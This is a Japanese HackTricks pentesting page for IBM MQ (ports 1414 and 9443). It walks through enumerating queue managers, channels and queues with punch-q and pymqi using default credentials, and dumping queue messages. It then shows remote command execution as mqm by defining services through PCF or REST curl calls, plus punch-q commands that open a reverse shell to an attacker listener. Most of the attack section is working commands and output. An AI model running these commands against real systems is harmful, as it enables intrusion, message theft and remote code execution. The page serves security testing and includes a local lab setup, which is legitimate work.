1414 - Pentesting IBM MQ

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

IBM MQは、メッセージキューを管理するためのIBMの技術です。他のメッセージブローカー技術と同様に、プロデューサーとコンシューマー間で情報を受信、保存、処理、分類することに専念しています。

デフォルトでは、IBM MQはTCPポート1414を公開します
場合によっては、HTTP REST APIがポート9443で公開されることがあります。
メトリクス(Prometheus)はTCPポート9157からもアクセス可能な場合があります。

IBM MQのTCPポート1414は、メッセージ、キュー、チャネルなどを操作するために使用できますが、インスタンスの制御にも使用できます

IBMは豊富な技術ドキュメントを https://www.ibm.com/docs/en/ibm-mq で提供しています。

ツール

簡単な悪用のための推奨ツールは punch-q(Dockerを使用)です。 このツールはPythonライブラリpymqiを積極的に使用しています。

より手動で行う場合は、Pythonライブラリ pymqi を使用してください。 IBM MQ dependencies が必要です。

pymqiのインストール

IBM MQ dependencies をインストールして読み込む必要があります:

  1. アカウント(IBMid)を https://login.ibm.com/ で作成します。
  2. IBM MQライブラリを https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc からダウンロードします。Linux x86_64用は 9.0.0.4-IBM-MQC-LinuxX64.tar.gz です。
  3. 展開する(tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz)。
  4. ライセンス条項に同意するために sudo ./mqlicense.sh を実行します。

Kali Linuxを使用している場合は、ファイル mqlicense.sh を修正してください:次の行(105-110行の間)を削除/コメントアウトします:

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. 以下のパッケージをインストールします:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. 次に、.so ファイルを一時的に LD に追加します: export LD_LIBRARY_PATH=/opt/mqm/lib64、他のこれらの依存関係を使うツールを実行する前に実行してください。

その後、プロジェクト pymqi をクローンできます: 興味深いコードスニペットや定数などが含まれています。あるいは pip install pymqi でライブラリを直接インストールできます。

punch-q の使用

Docker を使う場合

次のように実行します: sudo docker run --rm -ti leonjza/punch-q.

Docker を使わない場合

プロジェクト punch-q をクローンし、readme の指示に従ってインストールしてください (pip install -r requirements.txt && python3 setup.py install)。

その後、punch-q コマンドで使用できます。

列挙

punch-qpymqi を使って、キュー・マネージャ名、ユーザ、チャネル、キュー を列挙してみてください。

もし TCP/1414 がフィルタされているかターゲットが組み込みの web サーバのみを公開している場合は、TCP/9443 も確認してください。最近の IBM MQ バージョンでは、mqweb が有効なときにデフォルトで IBM MQ Console / REST API をそこに公開しており、管理用 REST エンドポイントは有効な資格情報があれば任意の MQSC コマンドを実行できます。

キュー・マネージャ

場合によっては、キュー・マネージャ名を取得されても保護がないことがあります:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

チャネル

punch-q は既存のチャネルを見つけるために内部(変更可能な)wordlist を使用します。使用例:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

一部の IBM MQ インスタンスは 認証されていない MQ リクエストを受け付けることがあり、--username / --password が不要な場合があります。もちろん、アクセス権は環境によって異なることもあります。

1つのチャンネル名(ここでは: DEV.ADMIN.SVRCONN)を取得すれば、他のすべてのチャンネルを列挙できます。

列挙は基本的に pymqicode/examples/dis_channels.py にあるこのコードスニペットで行えます:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… しかし、punch-qはその部分も組み込んでいます(さらに詳細な情報付き!)。次のように起動できます:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

CHLAUTH / OAM recon

「接続はするが 2035 を返す」ケースの多くは、CHLAUTH ルールやターゲットオブジェクトに対する OAM 権限の欠如が原因です。

既に管理者権限の MQSC アクセスを持っている場合、MATCH(RUNCHECK) はリモート接続にどのルールが適用されるかを把握する最速の方法です:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR

9443上のREST admin endpointを通じて、同じチェックをリモートで行うことができます:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

リモートで PCF を使用する十分な権限がある場合、IBM は MQCMD_INQUIRE_CHLAUTH_RECS を公開しており、これによりチャネル認証レコードとそれらが MCAUSER にマッピングされている情報を取得できます。これは、メッセージアクセス、オブジェクト作成、またはサービスの悪用を試みる前に、チャネルがリモートユーザーをより特権的なローカルアカウントにマップしているかを確認するのに役立ちます。

キュー

pymqi (dis_queues.py) のコードスニペットがありますが、punch-q はキューに関するより多くの情報を取得できます:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

queue(s)/channel(s)をターゲットにして、そこからメッセージをsniff out / dumpできます(非破壊操作)。 例:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

識別されたすべてのキューについて、躊躇せず繰り返し試してください。

コード実行

続行する前の補足: IBM MQ は複数の方法で制御できます: MQSC、PCF、Control Command。一般的な一覧は IBM MQ documentation にあります。 PCF (Programmable Command Formats) はリモートでインスタンスと対話するために本稿で注目しているものです。punch-q および pymqi は PCF によるやり取りに基づいています。

PCF コマンドの一覧は次のとおりです:

興味深いコマンドのひとつは MQCMD_CREATE_SERVICE で、ドキュメントは here にあります。
このコマンドは、インスタンス上のローカルプログラムを指す StartCommand を引数として受け取ります(例: /bin/sh)。

ドキュメントにはこのコマンドに対する警告もあります: “注意: このコマンドはユーザーに mqm 権限で任意のコマンドを実行させることができます。もしこのコマンドの使用権が与えられれば、悪意のある、あるいは不注意なユーザーがサービスを定義してシステムやデータに損害を与える可能性があります。例えば重要なファイルを削除するなどです。”

注: IBM MQ ドキュメント (Administration Reference) によると、サービス作成の等価な MQSC コマンド(DEFINE SERVICE)を実行するための HTTP エンドポイント /admin/action/qmgr/{qmgrName}/mqsc もあります。本稿ではこの点はまだ扱っていません。

もし MQ Console / REST API の認証情報が利用可能であれば、MQ クライアントライブラリを使わずに HTTPS の 9443 で同じ管理プリミティブに到達できることがしばしばあります。IBM は /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc をプレーンテキストの MQSC または JSON コマンドを受け付けるエンドポイントとして文書化しています。

リモートプログラム実行のためのサービス作成/削除は punch-q によって行えます:

例 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ のログから、コマンドが正常に実行されたことが確認できます:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

また、マシン上の既存のプログラムを列挙することもできます(ここでは /bin/doesnotexist は存在しません):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

プログラムの起動は非同期であることに注意してください。したがって、exploit を利用するには別のアイテムが必要です (listener for reverse shell, file creation on different service, data exfiltration through network …)

同じ手法は REST API から実行できます:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

これは特に次の場合の評価で有用です:

  • 9443 には到達できるが、1414 はより狭い送信元範囲に制限されている場合
  • 対象チームが IBM MQ を主に web コンソールで管理しており、REST roles のハードニングを忘れている場合
  • ローカルに IBM MQ client libraries をインストールしたくなく、MQSC-level administration のみが必要な場合

Example 2

簡単な reverse shell のために、punch-q は2つの reverse shell ペイロードも提案します :

  • 1つは bash 用
  • 1つは perl 用

もちろん execute コマンドでカスタムのものを作成できます。

For bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

perlの場合:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

カスタム PCF

IBM MQのドキュメントを参照し、pymqi pythonライブラリを直接使用して、punch-qに実装されていない特定のPCFコマンドをテストできます。

例:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

If you cannot find the constant names, you can refer to the IBM MQ documentation.

_例 for MQCMD_REFRESH_CLUSTER (Decimal = 73). It needs the parameter MQCA_CLUSTER_NAME (Decimal = 2029) which can be _ (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

テスト環境

  1. ibm.com と cloud.ibm.com のアカウントを持っていること。
  2. コンテナ化された IBM MQ を作成します:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

ここでは、キュー・マネージャー名は MYQUEUEMGR(変数 MQ_QMGR_NAME)に設定されています。

最近の 9.4.x developer イメージでは、デフォルトの動作が変更されました:

  • adminapp は、それらのパスワードを設定した場合にのみ作成されます
  • IBM は MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD非推奨 として 9.4.0.0 以降に文書化しています
  • 推奨される方法は、mqAdminPasswordmqAppPassword という名前のシークレットを注入することです

Podman を使った簡易なローカルラボでは、両方のユーザーを次のように作成できます:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest

デフォルトの開発者設定では:

  • DEV.ADMIN.SVRCONNadmin ユーザーのみを許可します
  • DEV.APP.SVRCONN はアプリケーションチャネルで、期待されるアイデンティティは app ユーザーです
  • https://<target>:9443/ibmmq/console は組み込みウェブサーバーが有効な場合にウェブコンソールを公開します

IBM MQ が起動してポートが公開されているはずです:

❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ の古いバージョンの docker イメージはこちらにあります: https://hub.docker.com/r/ibmcom/mq/.

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする